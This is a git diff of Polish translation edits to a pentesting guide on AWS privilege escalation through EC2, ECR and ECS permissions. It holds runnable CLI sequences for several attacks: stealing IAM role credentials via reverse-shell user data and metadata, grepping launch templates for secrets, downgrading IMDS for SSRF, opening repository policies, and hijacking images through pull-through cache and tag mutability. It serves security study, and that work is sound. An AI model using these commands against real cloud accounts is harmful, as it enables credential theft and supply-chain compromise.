Atakujący posiadający uprawnienia **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć Launch Configuration** z przypisaną **IAM Role** i **rev shell** w **user data**, a następnie **utworzyć autoscaling group** na podstawie tej konfiguracji i poczekać, aż rev shell **ukradnie IAM Role**.
|
||||
Atakujący posiadający uprawnienia **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateLaunchConfiguration`,`iam:PassRole`** może **utworzyć Launch Configuration** z **IAM Role** i **rev shell** w **user data**, następnie **utworzyć autoscaling group** na podstawie tej konfiguracji i poczekać, aż rev shell **ukradnie IAM Role**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -196,15 +196,15 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
--desired-capacity 1 \
|
||||
--vpc-zone-identifier "subnet-e282f9b8"
|
||||
```
|
||||
**Potential Impact:** Bezpośrednie privesc do innej roli EC2.
|
||||
**Potencjalny wpływ:** Bezpośredni privesc do innej roli EC2.
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza do eskalacji** uprawnień do roli IAM, ponieważ aby przypisać rolę określoną w Launch Configuration lub w Launch Template **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym privesc).
|
||||
Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza, aby eskalować** uprawnienia do IAM role, ponieważ aby dołączyć rolę określoną w Launch Configuration lub w Launch Template, konieczne są uprawnienia **`iam:PassRole`** i **`ec2:RunInstances`** (co jest znanym privesc).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
Atakujący z uprawnieniem **`ec2-instance-connect:SendSSHPublicKey`** może dodać klucz ssh do użytkownika i użyć go, aby uzyskać dostęp (jeśli ma dostęp ssh do instancji) lub aby eskalować uprawnienia.
|
||||
Atakujący z uprawnieniem **`ec2-instance-connect:SendSSHPublicKey`** może dodać klucz ssh do użytkownika i użyć go do uzyskania dostępu (jeśli ma dostęp ssh do instancji) lub do eskalacji uprawnień.
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
@@ -215,9 +215,9 @@ aws ec2-instance-connect send-ssh-public-key \
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
Atakujący z uprawnieniem **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** może **dodać klucz ssh do połączenia szeregowego**. Jeśli konsola szeregowa nie jest włączona, atakujący potrzebuje uprawnienia **`ec2:EnableSerialConsoleAccess` aby ją włączyć**.
|
||||
Atakujący posiadający uprawnienie **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** może **dodać ssh key do serial connection**. Jeśli serial nie jest włączony, atakujący potrzebuje uprawnienia **`ec2:EnableSerialConsoleAccess`**, aby go włączyć.
|
||||
|
||||
Aby połączyć się z portem szeregowym, atakujący musi również **znać username i password użytkownika** wewnątrz maszyny.
|
||||
Aby połączyć się z serial port, musisz również **znać username i password użytkownika wewnątrz maszyny**.
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
Ta metoda nie jest zbyt przydatna do privesc, ponieważ aby ją exploitować, trzeba znać username i password.
|
||||
Ta metoda nie jest zbyt przydatna do privesc, ponieważ do jej wykorzystania trzeba znać nazwę użytkownika i hasło.
|
||||
|
||||
**Potencjalny wpływ:** (trudne do udowodnienia) Bezpośredni privesc do EC2 IAM roles przypisanych do uruchomionych instancji.
|
||||
**Potencjalny wpływ:** (Trudne do udowodnienia) Bezpośrednie privesc do EC2 IAM roles przypisanych do działających instancji.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
Since launch templates have versioning, an attacker with **`ec2:describe-launch-templates`** and **`ec2:describe-launch-template-versions`** permissions could exploit these to discover sensitive information, such as credentials present in user data. To accomplish this, the following script loops through all versions of the available launch templates:
|
||||
Ponieważ launch templates mają wersjonowanie, atakujący posiadający uprawnienia **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** mógłby to wykorzystać, aby odkryć wrażliwe informacje, takie jak poświadczenia obecne w user data. Aby to osiągnąć, następujący skrypt iteruje przez wszystkie wersje dostępnych launch templates:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -248,27 +248,22 @@ echo
|
||||
done | grep -iE "aws_|password|token|api"
|
||||
done
|
||||
```
|
||||
W powyższych poleceniach, chociaż określamy pewne wzorce (`aws_|password|token|api`), możesz użyć innego wyrażenia regularnego (regex), aby przeszukać inne rodzaje informacji wrażliwych.
|
||||
W powyższych poleceniach, chociaż określamy pewne wzorce (`aws_|password|token|api`), możesz użyć innego wyrażenia regularnego, aby wyszukać inne typy wrażliwych informacji.
|
||||
|
||||
Zakładając, że znajdziemy `aws_access_key_id` i `aws_secret_access_key`, możemy użyć tych poświadczeń do uwierzytelnienia się w AWS.
|
||||
Zakładając, że znajdziemy `aws_access_key_id` i `aws_secret_access_key`, możemy użyć tych poświadczeń do uwierzytelnienia w AWS.
|
||||
|
||||
**Potencjalny wpływ:** Bezpośrednia eskalacja uprawnień do użytkownika(ów) IAM.
|
||||
|
||||
## Źródła
|
||||
## Referencje
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
|
||||
|
||||
Atakujący, który ma możliwość wywołania `ec2:ModifyInstanceMetadataOptions` na docelowej instancji EC2, może osłabić zabezpieczenia IMDS przez włączenie IMDSv1 (`HttpTokens=optional`) oraz zwiększenie `HttpPutResponseHopLimit`. Sprawia to, że endpoint metadanych instancji staje się osiągalny przez powszechne ścieżki SSRF/proxy z aplikacji działających na instancji. Jeśli atakujący potrafi wywołać SSRF w takiej aplikacji, może pobrać instance profile credentials i pivot with them.
|
||||
|
||||
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (Obniżenie IMDS umożliwiające kradzież poświadczeń przez SSRF)
|
||||
|
||||
Atakujący, mający możliwość wywołania `ec2:ModifyInstanceMetadataOptions` na docelowej instancji EC2, może osłabić zabezpieczenia IMDS poprzez włączenie IMDSv1 (`HttpTokens=optional`) i zwiększenie `HttpPutResponseHopLimit`. Spowoduje to, że endpoint metadanych instancji będzie osiągalny przez typowe ścieżki SSRF/proxy z aplikacji działających na tej instancji. Jeśli atakujący będzie w stanie wywołać SSRF w takiej aplikacji, może pobrać instance profile credentials i wykonać pivot przy ich użyciu.
|
||||
|
||||
- Wymagane uprawnienia: `ec2:ModifyInstanceMetadataOptions` na docelowej instancji (plus możliwość dotarcia/wywołania SSRF na hoście).
|
||||
- Zasób docelowy: działająca instancja EC2 z dołączonym instance profile (IAM role).
|
||||
- Wymagane uprawnienia: `ec2:ModifyInstanceMetadataOptions` na docelowej instancji (oraz możliwość dotarcia/wywołania SSRF na hoście).
|
||||
- Docelowy zasób: uruchomiona instancja EC2 z dołączonym instance profile (IAM role).
|
||||
|
||||
Przykład poleceń:
|
||||
```bash
|
||||
@@ -297,4 +292,5 @@ aws sts get-caller-identity
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-tokens required --http-put-response-hop-limit 1
|
||||
```
|
||||
Potencjalny wpływ: kradzież instance profile credentials za pomocą SSRF, prowadząca do privilege escalation i lateral movement przy użyciu EC2 role permissions.
|
||||
Potencjalny wpływ: Kradzież instance profile credentials przez SSRF prowadząca do privilege escalation i lateral movement z uprawnieniami roli EC2.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+25
-29
@@ -14,11 +14,11 @@ For more info on how to download images:
|
||||
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
|
||||
{{#endref}}
|
||||
|
||||
**Potencjalny wpływ:** Pośrednie privesc przez przechwycenie wrażliwych informacji w ruchu sieciowym.
|
||||
**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic.
|
||||
|
||||
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
|
||||
|
||||
An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used.
|
||||
Atakujący posiadający te uprawnienia **może zalogować się do ECR i przesłać obrazy**. Może to być przydatne do eskalacji uprawnień w innych środowiskach, w których te obrazy są używane.
|
||||
|
||||
To learn how to upload a new image/update one, check:
|
||||
|
||||
@@ -28,11 +28,11 @@ To learn how to upload a new image/update one, check:
|
||||
|
||||
### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
|
||||
|
||||
Like the previous section, but for public repositories.
|
||||
Podobnie jak w poprzedniej sekcji, ale dla repozytoriów publicznych.
|
||||
|
||||
### `ecr:SetRepositoryPolicy`
|
||||
|
||||
An attacker with this permission could **change** the **repository** **policy** to grant himself (or even everyone) **read/write access**.\
|
||||
Atakujący z tym uprawnieniem mógłby **zmienić** **politykę** **repozytorium**, aby przyznać sobie (lub nawet wszystkim) **dostęp odczytu/zapisu**.\
|
||||
Na przykład, w tym przykładzie dostęp do odczytu jest przyznany wszystkim.
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
@@ -60,7 +60,7 @@ Zawartość pliku `my-policy.json`:
|
||||
### `ecr-public:SetRepositoryPolicy`
|
||||
|
||||
Podobnie jak w poprzedniej sekcji, ale dla publicznych repozytoriów.\
|
||||
Atakujący może **zmodyfikować politykę repozytorium** w repozytorium ECR Public, aby przyznać nieautoryzowany publiczny dostęp lub eskalować swoje uprawnienia.
|
||||
Atakujący może **zmodyfikować politykę repozytorium** ECR Public, aby nadać nieautoryzowany publiczny dostęp lub eskalować swoje uprawnienia.
|
||||
```bash
|
||||
# Create a JSON file with the malicious public repository policy
|
||||
echo '{
|
||||
@@ -87,30 +87,24 @@ echo '{
|
||||
# Apply the malicious public repository policy to the ECR Public repository
|
||||
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
|
||||
```
|
||||
**Potencjalny wpływ**: Nieautoryzowany publiczny dostęp do repozytorium ECR Public, pozwalający każdemu użytkownikowi na push, pull lub delete images.
|
||||
**Potencjalny wpływ**: Nieautoryzowany publiczny dostęp do ECR Public repository, pozwalający każdemu użytkownikowi na push, pull lub usuwanie obrazów.
|
||||
|
||||
### `ecr:PutRegistryPolicy`
|
||||
|
||||
Atakujący z tym uprawnieniem mógłby **zmienić** **registry policy**, aby przyznać sobie, swojemu kontu (lub nawet wszystkim) **read/write access**.
|
||||
Atakujący z tym uprawnieniem mógłby **zmienić** **politykę rejestru**, aby przyznać sobie, swojemu kontu (lub nawet wszystkim) **dostęp do odczytu/zapisu**.
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### ecr:CreatePullThroughCacheRule
|
||||
|
||||
Wykorzystaj reguły ECR Pull Through Cache (PTC), aby zmapować przestrzeń nazw upstream kontrolowaną przez atakującego na zaufany, prywatny prefiks ECR. Spowoduje to, że workloady pobierające obrazy z prywatnego ECR będą przezroczysto otrzymywać obrazy atakującego bez potrzeby pushowania do prywatnego ECR.
|
||||
Abuse ECR Pull Through Cache (PTC) rules, aby zmapować attacker-controlled upstream namespace na zaufany prywatny prefiks ECR. Dzięki temu workloads pobierające z prywatnego ECR będą transparentnie otrzymywać obrazy attacker bez konieczności push do prywatnego ECR.
|
||||
|
||||
- Wymagane uprawnienia: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Jeśli używasz ECR Public jako upstream: ecr-public:* do tworzenia/pushowania do publicznego repo.
|
||||
- Testowany upstream: public.ecr.aws
|
||||
- Wymagane perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Jeśli używasz ECR Public jako upstream: ecr-public:* do create/push do public repo.
|
||||
- Tested upstream: public.ecr.aws
|
||||
|
||||
Kroki (przykład):
|
||||
Steps (example):
|
||||
|
||||
1. Prepare attacker image in ECR Public
|
||||
# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
|
||||
@@ -126,19 +120,19 @@ docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
|
||||
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
Potencjalny wpływ: Kompromitacja łańcucha dostaw przez przejęcie wewnętrznych nazw obrazów pod wybranym prefiksem. Każdy workload pobierający obrazy z prywatnego ECR używając tego prefiksu otrzyma zawartość kontrolowaną przez atakującego.
|
||||
Potential Impact: Kompromitacja łańcucha dostaw przez przejęcie wewnętrznych nazw obrazów pod wybranym prefiksem. Każdy workload pobierający obrazy z prywatnego ECR używając tego prefiksu otrzyma attacker-controlled content.
|
||||
|
||||
### `ecr:PutImageTagMutability`
|
||||
|
||||
Wykorzystaj to uprawnienie do przełączenia repozytorium z niezmienną mutowalnością tagów na mutowalną i nadpisania zaufanych tagów (np. latest, stable, prod) zawartością kontrolowaną przez atakującego.
|
||||
Abuse this permission, aby zmienić repozytorium z tag immutability na mutable i nadpisać zaufane tagi (np. latest, stable, prod) attacker-controlled content.
|
||||
|
||||
- Wymagane uprawnienia: `ecr:PutImageTagMutability` oraz uprawnienia do pushowania (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
|
||||
- Wpływ: Kompromitacja łańcucha dostaw przez ciche zastąpienie niezmiennych tagów bez zmiany ich nazw.
|
||||
- Wymagane perms: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
|
||||
- Impact: Kompromitacja łańcucha dostaw przez ciche zastąpienie niezmienialnych tagów bez zmiany nazw tagów.
|
||||
|
||||
Kroki (przykład):
|
||||
Steps (example):
|
||||
|
||||
<details>
|
||||
<summary>Zatrucie niezmiennego taga przez przełączenie mutowalności</summary>
|
||||
<summary>Zatrucie niezmienialnego taga przez przełączenie mutability</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
REPO=ht-immutable-demo-$RANDOM
|
||||
@@ -158,9 +152,9 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
|
||||
</details>
|
||||
|
||||
|
||||
#### Global registry hijack za pomocą reguły ROOT Pull-Through Cache
|
||||
#### Global registry hijack via ROOT Pull-Through Cache rule
|
||||
|
||||
Utwórz regułę Pull-Through Cache (PTC) używając specjalnego `ecrRepositoryPrefix=ROOT`, aby zmapować root prywatnego rejestru ECR do upstream public registry (np. ECR Public). Każdy pull do nieistniejącego repozytorium w prywatnym rejestrze będzie transparentnie serwowany z upstream, umożliwiając supply-chain hijacking bez pushowania do prywatnego ECR.
|
||||
Utwórz regułę Pull-Through Cache (PTC) używając specjalnego `ecrRepositoryPrefix=ROOT`, żeby zmapować root prywatnego rejestru ECR na upstream public registry (np. ECR Public). Każde pull do nieistniejącego repozytorium w prywatnym rejestrze będzie transparentnie serwowane z upstream, umożliwiając supply-chain hijacking bez pushowania do prywatnego ECR.
|
||||
|
||||
- Wymagane uprawnienia: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
|
||||
- Wpływ: Pulls do `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` zakończą się powodzeniem i automatycznie utworzą prywatne repozytoria pochodzące z upstream.
|
||||
@@ -197,17 +191,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
|
||||
```
|
||||
</details>
|
||||
|
||||
### `ecr:PutAccountSetting` (Obniżenie `REGISTRY_POLICY_SCOPE`, aby obejść odmowy polityki rejestru)
|
||||
### `ecr:PutAccountSetting` (Degradacja `REGISTRY_POLICY_SCOPE` w celu ominięcia Deny w polityce rejestru)
|
||||
|
||||
Wykorzystaj `ecr:PutAccountSetting` do zmiany zakresu polityki rejestru z `V2` (polityka stosowana do wszystkich akcji ECR) na `V1` (polityka stosowana tylko do `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Jeśli restrykcyjna registry policy Deny blokuje akcje takie jak `CreatePullThroughCacheRule`, obniżenie do `V1` usuwa to egzekwowanie, dzięki czemu identity‑policy Allows zaczynają obowiązywać.
|
||||
Wykorzystaj `ecr:PutAccountSetting`, aby zmienić zakres polityki rejestru z `V2` (polityka stosowana do wszystkich akcji ECR) na `V1` (polityka stosowana tylko do `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Jeśli restrykcyjny Deny w polityce rejestru blokuje akcje takie jak `CreatePullThroughCacheRule`, degradacja do `V1` usuwa to ograniczenie i pozwala na zastosowanie reguł Allow z polityki tożsamości.
|
||||
|
||||
- Wymagane uprawnienia: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
|
||||
- Wpływ: Możliwość wykonania akcji ECR wcześniej zablokowanych przez registry policy Deny (np. utworzenie reguł PTC) przez tymczasowe ustawienie zakresu na `V1`.
|
||||
- Wpływ: Możliwość wykonania akcji ECR wcześniej blokowanych przez Deny w polityce rejestru (np. utworzenie reguł PTC) poprzez tymczasowe ustawienie zakresu na `V1`.
|
||||
|
||||
Kroki (przykład):
|
||||
|
||||
<details>
|
||||
<summary>Obejście registry policy Deny dla `CreatePullThroughCacheRule` przez przełączenie na `V1`</summary>
|
||||
<summary>Ominięcie Deny w polityce rejestru dla CreatePullThroughCacheRule przez przełączenie na V1</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCT=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -266,3 +260,5 @@ fi
|
||||
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+67
-87
@@ -12,7 +12,7 @@ Więcej **informacji o ECS** w:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
Atakujący nadużywający uprawnienia `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` w ECS może **wygenerować nową task definition** z **złośliwym kontenerem**, który kradnie poświadczenia metadanych i **uruchomić go**.
|
||||
Atakujący nadużywający uprawnienia `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który kradnie poświadczenia metadanych, a następnie **uruchomić ją**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
Utwórz webhook na stronie takiej jak webhook.site
|
||||
Utwórz webhook przy użyciu serwisu takiego jak webhook.site
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
@@ -75,18 +75,18 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Potencjalny wpływ:** Direct privesc to a different ECS role.
|
||||
**Potencjalny wpływ:** Direct privesc do innej roli ECS.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
Atakujący, który posiada uprawnienia `iam:PassRole` i `ecs:RunTask`, może uruchomić nowe zadanie ECS ze zmodyfikowanymi wartościami **execution role**, **task role** oraz **command** kontenera. Polecenie CLI `ecs run-task` zawiera flagę `--overrides`, która pozwala w czasie wykonywania zmienić `executionRoleArn`, `taskRoleArn` oraz `command` kontenera bez modyfikowania task definition.
|
||||
Atakujący, który posiada uprawnienia `iam:PassRole` i `ecs:RunTask`, może uruchomić nowe zadanie ECS z zmodyfikowanymi wartościami **execution role**, **task role** oraz **command** kontenera. Polecenie CLI `ecs run-task` zawiera flagę `--overrides`, która pozwala w czasie wykonywania zmienić `executionRoleArn`, `taskRoleArn` oraz `command` kontenera bez modyfikowania definicji zadania.
|
||||
|
||||
Wskazane role IAM w polach `taskRoleArn` i `executionRoleArn` muszą zezwalać na bycie asumowanymi przez `ecs-tasks.amazonaws.com` w swojej polityce zaufania.
|
||||
Wskazane role IAM dla `taskRoleArn` i `executionRoleArn` muszą w swojej polityce zaufania dopuszczać przyjmowanie ich przez `ecs-tasks.amazonaws.com`.
|
||||
|
||||
Dodatkowo atakujący musi znać:
|
||||
- nazwę klastra ECS
|
||||
- podsieć VPC
|
||||
- grupę zabezpieczeń (jeśli nie podano, zostanie użyta grupa domyślna)
|
||||
- nazwę Task Definition i rewizję
|
||||
- subnet VPC
|
||||
- Security group (If no security group is specified the default one will be used)
|
||||
- Task Definition Name and revision
|
||||
- nazwę kontenera
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
W powyższym fragmencie kodu atakujący nadpisuje tylko wartość `taskRoleArn`. Jednak atakujący musi mieć uprawnienie `iam:PassRole` dla `taskRoleArn` określonego w poleceniu oraz dla `executionRoleArn` określonego w definicji taska, aby atak mógł się powieść.
|
||||
W powyższym fragmencie kodu atakujący nadpisuje tylko wartość `taskRoleArn`. Jednak aby atak mógł się powieść, atakujący musi mieć uprawnienie `iam:PassRole` do `taskRoleArn` wskazanego w poleceniu oraz do `executionRoleArn` określonego w definicji zadania.
|
||||
|
||||
Jeśli rola IAM, którą atakujący może przekazać, ma wystarczające uprawnienia do pobrania obrazu z ECR i uruchomienia taska ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), wtedy atakujący może wskazać tę samą rolę IAM zarówno dla `executionRoleArn`, jak i dla `taskRoleArn` w poleceniu `ecs run-task`.
|
||||
Jeśli rola IAM, którą atakujący może przekazać, ma wystarczające uprawnienia do pobrania obrazu z ECR i uruchomienia zadania ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) to atakujący może użyć tej samej roli IAM zarówno jako `executionRoleArn`, jak i `taskRoleArn` w poleceniu `ecs run-task`.
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli zadania ECS.
|
||||
**Potential Impact:** Bezpośredni privesc do dowolnej roli zadania ECS.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który wykrada poświadczenia metadanych i **ją uruchomić**.\
|
||||
Jednak w tym przypadku potrzebna jest instancja kontenera, aby uruchomić złośliwą definicję zadania.
|
||||
Podobnie jak w poprzednim przykładzie, atakujący wykorzystujący uprawnienia **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** w ECS może **wygenerować nową task definition** z **złośliwym kontenerem**, który kradnie poświadczenia metadanych i **uruchomić ją**.\
|
||||
Jednak w tym przypadku potrzebna jest instancja kontenera, aby uruchomić złośliwą task definition.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Potential Impact:** Bezpośrednie privesc do dowolnej roli ECS.
|
||||
**Potencjalny wpływ:** Direct privesc to any ECS role.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Podobnie jak w poprzednim przykładzie, atakujący wykorzystujący uprawnienia **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** lub **`ecs:CreateService`** w ECS może **wygenerować nowy task definition** z **złośliwym kontenerem**, który wykrada poświadczenia metadanych i **uruchomić go poprzez utworzenie nowej usługi z co najmniej 1 uruchomionym zadaniem.**
|
||||
Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** lub **`ecs:CreateService`** w ECS może **wygenerować nowy task definition** z **malicious container**, który wykrada metadata credentials i **uruchomi go, tworząc nową service z co najmniej 1 uruchomionym taskiem.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -169,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli ECS.
|
||||
**Potencjalny wpływ:** Bezpośredni privesc do dowolnej roli ECS.
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Właściwie, mając tylko te uprawnienia, można użyć overrides, aby wykonać dowolne polecenia w kontenerze z dowolną rolą, przy użyciu czegoś takiego:
|
||||
W praktyce, posiadając tylko te uprawnienia, można użyć overrides, aby wykonać dowolne polecenia w kontenerze z dowolną rolą za pomocą czegoś takiego:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -185,12 +185,12 @@ aws ecs run-task \
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Ten scenariusz jest podobny do poprzednich, ale **bez** uprawnienia **`iam:PassRole`**.\\
|
||||
To nadal jest interesujące, ponieważ jeśli możesz uruchomić dowolny container, nawet bez roli, mógłbyś **run a privileged container to escape** na węzeł i **steal the EC2 IAM role** oraz **other ECS containers roles** działające na tym węźle.\\
|
||||
Mógłbyś nawet **force other tasks to run inside the EC2 instance** który przejmiesz, aby ukraść ich poświadczenia (jak omówiono w [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
|
||||
Ten scenariusz jest podobny do poprzednich, ale **bez** uprawnienia **`iam:PassRole`**.\
|
||||
To wciąż interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet bez przypisanej roli, możesz **run a privileged container to escape** na węzeł i **steal the EC2 IAM role** oraz **the other ECS containers roles** działające na węźle.\
|
||||
Możesz nawet **force other tasks to run inside the EC2 instance** którą przejmiesz, aby ukraść ich poświadczenia (jak omówiono w [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
> Atak jest możliwy tylko wtedy, gdy **ECS cluster is using EC2** instances, a nie Fargate.
|
||||
> Ten atak jest możliwy tylko wtedy, gdy **klaster ECS używa instancji EC2** a nie Fargate.
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -233,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
